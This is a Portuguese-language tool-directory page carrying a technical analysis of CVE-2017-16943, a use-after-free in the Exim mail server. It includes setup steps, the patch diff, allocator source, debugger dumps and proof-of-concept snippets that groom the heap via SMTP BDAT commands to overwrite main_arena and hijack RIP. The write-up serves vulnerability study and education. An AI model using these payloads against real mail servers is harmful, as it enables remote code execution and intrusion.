Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2017-16943 — Análise técnica e exploit de prova de conceito para CVE-2017-16943, uma vulnerabilidade de uso-após-liberação no Exim MTA, com manipulação de heap e passo a passo de sequestro de RIP. | Kitploit
Ferramentas/GitHubGitHub/beraphin/cve-2017-16943
Forensia de MemóriaAnálise de VulnerabilidadesExploraçãoDepuradoresAprendizado e EducaçãoExploração de Binários
GitHubberaphin/cve-2017-16943

CVE-2017-16943

Análise técnica e exploit de prova de conceito para CVE-2017-16943, uma vulnerabilidade de uso-após-liberação no Exim MTA, com manipulação de heap e passo a passo de sequestro de RIP.

Ver Repositório
há 6 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2017-16943

Configuração do Ambiente

root@kitploit:~
git clone https://github.com/Exim/exim.git
git checkout 01c594601670c7e48e676d6c6d32d0f0084067fa
cd ./exim/src
mkdir Local
wget "https://bugs.exim.org/attachment.cgi?id=1051" -O Makefile

Modifique as variáveis de caminho e o nome de usuário no Makefile

root@kitploit:~
cd ..
make -j8
sudo make install

Após a instalação, altere accept hosts = : para accept hosts = * no configure Execute:

root@kitploit:~
exim -bdf -d-receive

Análise da Vulnerabilidade

Esta vulnerabilidade é um UAF (Use-After-Free), que ocorre na função receive_msg em receive.c, função responsável por receber entradas do cliente. Veja o registro do patch:

root@kitploit:~
 src/src/receive.c | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/src/src/receive.c b/src/src/receive.c
index e7e518a..d9b5001 100644
--- a/src/src/receive.c
+++ b/src/src/receive.c
@@ -1810,8 +1810,8 @@ for (;;)
   (and sometimes lunatic messages can have ones that are 100s of K long) we
   call store_release() for strings that have been copied - if the string is at
   the start of a block (and therefore the only thing in it, because we aren't
-  doing any other gets), the block gets freed. We can only do this because we
-  know there are no other calls to store_get() going on. */
+  doing any other gets), the block gets freed. We can only do this release if
+  there were no allocations since the once that we want to free. */
 
   if (ptr >= header_size - 4)
     {
@@ -1820,9 +1820,10 @@ for (;;)
     header_size *= 2;
     if (!store_extend(next->text, oldsize, header_size))
       {
+      BOOL release_ok = store_last_get[store_pool] == next->text;
       uschar *newtext = store_get(header_size);
       memcpy(newtext, next->text, ptr);
-      store_release(next->text);
+      if (release_ok) store_release(next->text);
       next->text = newtext;
       }
     }

Aqui, vamos esclarecer o papel de algumas variáveis globais:

root@kitploit:~
current_block: 当前的storeblock,下次使用store_get_3的时候优先从该storeblock寻找空闲区域
next_yield:指向current_block中空闲区块的起始地址,storeblock一般来说是上半部分被使用,下半部分空闲
yield_length:next_yield的长度

Analisando o PoC do meh, podemos ver que o programa sem patch pode desencadear um UAF através do seguinte processo de layout de heap: 1

Em seguida, use o comando bdat para alocar um buffer abaixo desse texto. Por que usar o comando bdat? Na verdade, comandos como auth plain ou comandos ilegais compostos por caracteres não imprimíveis também podem alocar um buffer abaixo do texto, mas outras instruções farão com que a função receive_msg saia. Ao entrar novamente em receive_msg, next->text apontará para outra área, impedindo que a vulnerabilidade seja acionada. Já o comando bdat não faz com que a função receive_msg atual saia, o que é crucial. 2

Então, envie caracteres continuamente para preencher next_text (inicialmente 0x100), e o programa chegará ao ponto vulnerável. Em store_extend, descobre-se que a extensão não é possível devido à presença do buffer bdat, então store_get é executado para obter a área apontada por next_yield, e em seguida a função store_release é chamada. Nessa função, apenas verifica-se se o parâmetro de release é o início de um storeblock, mas não verifica se há outros buffers após ele, e então o storeblock é liberado diretamente. Isso faz com que o endereço retornado por store_get ainda esteja dentro de current_block, mas em seguida o current_block é liberado, resultando em um UAF.

Sequestro de RIP

Aqui, explicaremos passo a passo como sequestrar o RIP usando o código PoC.

root@kitploit:~
ehlo('test')
r.sendline("MAIL FROM:<test@localhost>")
r.recvline()
r.sendline("RCPT TO:<test@localhost>")
r.recvline()
unrec('a'*0x1100+'\x7f')

Primeiro, enviamos um monte de dados para que yield_length fique menor que 0x130, mas maior que 0x30. Por que isso é necessário? Vejamos o início da função receive_msg:

root@kitploit:~
...
File: receive.c
1700: received_header = header_list = header_last = store_get(sizeof(header_line));
1701: header_list->next = NULL;
1702: header_list->type = htype_old;
1703: header_list->text = NULL;
1704: header_list->slen = 0;
1705: 
1706: /* Control block for the next header to be read. */
1707: 
1708: next = store_get(sizeof(header_line));
1709: next->text = store_get(header_size);
...

Podemos ver que antes de alocar next->text, dois buffers de tamanho sizeof(header_line) (0x18) são alocados. Portanto, se após alocar esses dois blocos de 0x18, o yield_length restante for menor que 0x100, ao alocar next->text, store_get alocará um novo storeblock, e next->text estará no início desse storeblock.

Em seguida, chamamos o comando bdat:

root@kitploit:~
r.sendline('BDAT 1')
r.sendline(':BDAT \xdd')

Esse comando contém um caractere não imprimível, o que fará com que store_get seja chamado para alocar um buffer para armazenar a mensagem de erro:

root@kitploit:~
pwndbg> hexdump 0x71d0e0 
+0000 0x71d0e0  42 44 41 54  20 5c 33 33  35 00 20 63  68 75 6e 6b  │BDAT│.\33│5..c│hunk│
+0010 0x71d0f0  35 30 31 20  6d 69 73 73  69 6e 67 20  73 69 7a 65  │501.│miss│ing.│size│
+0020 0x71d100  20 66 6f 72  20 42 44 41  54 20 63 6f  6d 6d 61 6e  │.for│.BDA│T.co│mman│
+0030 0x71d110  64 0a 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │d...│....│....│....│

(Comandos ilegais que contenham caracteres não imprimíveis também podem resultar em alocação extra de heap.)

Neste ponto, enviamos caracteres continuamente:

root@kitploit:~
unrec('a'*6 + p64(0xdeadbeef)*(0x1e00/8))

Isso preencherá next->text byte a byte com os caracteres recebidos. Quando o espaço livre de 0x100 estiver cheio, o código vulnerável será executado para expandir o tamanho de next->text. Primeiro, entra-se em store_extend(next->text, oldsize, header_size) para tentar expandir diretamente:

root@kitploit:~
File: store.c
266: BOOL
267: store_extend_3(void *ptr, int oldsize, int newsize, const char *filename,
268:   int linenumber)
269: {
270: int inc = newsize - oldsize;
271: int rounded_oldsize = oldsize;
272: 
273: if (rounded_oldsize % alignment != 0)
274:   rounded_oldsize += alignment - (rounded_oldsize % alignment);
275: 
276: if (CS ptr + rounded_oldsize != CS (next_yield[store_pool]) ||
277:     inc > yield_length[store_pool] + rounded_oldsize - oldsize)
278:   return FALSE;
...

A verificação principal está nas linhas 276-277. A primeira condição verifica se o ponteiro ptr a ser expandido está imediatamente seguido por next_yield. A segunda condição verifica se, somando o tamanho de next_yield (ou seja, yield_length), é suficiente. Obviamente, a primeira condição não é satisfeita, pois next->text é seguido por um buffer bdat, e só depois vem next_yield.

Em seguida, store_get é chamado para alocar um novo bloco, que é atribuído a next_yield. Então, store_release é chamado para liberar o next_text original. Observe a lógica de verificação aqui:

root@kitploit:~
File: store.c
448: void
449: store_release_3(void *block, const char *filename, int linenumber)
450: {
451: storeblock *b;
452: 
453: /* It will never be the first block, so no need to check that. */
454: 
455: for (b = chainbase[store_pool]; b != NULL; b = b->next)
456:   {
457:   storeblock *bb = b->next;
458:   if (bb != NULL && CS block == CS bb + ALIGNED_SIZEOF_STOREBLOCK)
459:     {
...
482:     free(bb);
483:     return;
484:     }
485:   }
486: }
487: 

O programa percorre a lista encadeada chainbase seguindo os ponteiros next dos storeblock, e se descobre que o bloco liberado está no início de algum storeblock (segunda condição da linha 455), esse storeblock será liberado. Mas, neste momento, current_block ainda aponta para esse bloco de heap, e o novo next_text também está dentro desse bloco, então ocorre um UAF. Após a liberação do bloco de heap, current_block é colocado no unsortedbin:

root@kitploit:~
pwndbg> tel &current_block
00:0000│   0x6e8ec0 (current_block) —▸ 0x71cfd0 —▸ 0x7ffff69abb78 (main_arena+88) —▸ 0x725020 ◂— 0x0
01:0008│   0x6e8ec8 (current_block+8) —▸ 0x723010 ◂— 0x0
02:0010│   0x6e8ed0 (current_block+16) ◂— 0x0
... ↓
04:0020│   0x6e8ee0 (chainbase) —▸ 0x70ff80 ◂— 0x0
05:0028│   0x6e8ee8 (chainbase+8) —▸ 0x6f3b30 —▸ 0x6f8cb0 —▸ 0x71eff0 —▸ 0x723010 ◂— ...
06:0030│   0x6e8ef0 (chainbase+16) ◂— 0x0
... ↓
pwndbg> 

Neste ponto, main_arena é adicionada à cadeia de storeblock.

À medida que os caracteres continuam a ser enviados, o next->text original chama repetidamente store_extend para expandir seu tamanho. Embora current_block já tenha sido liberado, next_yield ainda aponta para o interior de current_block, fazendo com que next->text continue a usar store_extend até preencher todo o current_block. Finalmente, quando não é mais possível expandir, store_get é chamado novamente para obter um novo bloco de heap:

root@kitploit:~
File: store.c
128: void *
129: store_get_3(int size, const char *filename, int linenumber)
130: {
...
137: if (size % alignment != 0) size += alignment - (size % alignment);
138: 
139: /* If there isn't room in the current block, get a new one. The minimum
140: size is STORE_BLOCK_SIZE, and we would expect this to be the norm, since
141: these functions are mostly called for small amounts of store. */
142: 
143: if (size > yield_length[store_pool])
144:   {
145:   int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
146:   int mlength = length + ALIGNED_SIZEOF_STOREBLOCK;
147:   storeblock * newblock = NULL;
148: 
149:   /* Sometimes store_reset() may leave a block for us; check if we can use it */
150: 
151:   if (  (newblock = current_block[store_pool])
152:      && (newblock = newblock->next)
153:      && newblock->length < length
154:      )
155:     {
156:     /* Give up on this block, because it's too small */
157:     store_free(newblock);
158:     newblock = NULL;
159:     } 
...

Podemos ver que nas linhas 151-153, o programa tenta obter current_block->next e verifica se esse bloco é grande o suficiente para alocar; se não for, ele é liberado. Observe que current_block está agora no unsorted bin, e current_block->next aponta para main_arena. A última condição não será satisfeita, então newblock = main_arena.

root@kitploit:~
File: store.c
176:   current_block[store_pool] = newblock;
177:   yield_length[store_pool] = newblock->length;
178:   next_yield[store_pool] =
179:     (void *)(CS current_block[store_pool] + ALIGNED_SIZEOF_STOREBLOCK);
180:   (void) VALGRIND_MAKE_MEM_NOACCESS(next_yield[store_pool], yield_length[store_pool]);
181:   }
...
186: store_last_get[store_pool] = next_yield[store_pool];
...
211: return store_last_get[store_pool];

Neste ponto, o programa retorna diretamente main_arena como o novo buffer. Em seguida, na linha 1824, o conteúdo do bloco de heap original é copiado para o novo bloco, sobrescrevendo main_arena.

root@kitploit:~
File: receive.c
1816:   if (ptr >= header_size - 4)
1817:     {
1818:     int oldsize = header_size;
1819:     /* header_size += 256; */
1820:     header_size *= 2;
1821:     if (!store_extend(next->text, oldsize, header_size))
1822:       {
1823:       uschar *newtext = store_get(header_size);
1824:       memcpy(newtext, next->text, ptr);
1825:       store_release(next->text);
1826:       next->text = newtext;
1827:       }
1828:     }

Essa sobrescrita irá diretamente sobrescrever free_got, portanto, qualquer operação subsequente pode sequestrar o RIP.

Referências

https://bugs.exim.org/show_bug.cgi?id=2199

https://paper.seebug.org/469/

Baixar ferramenta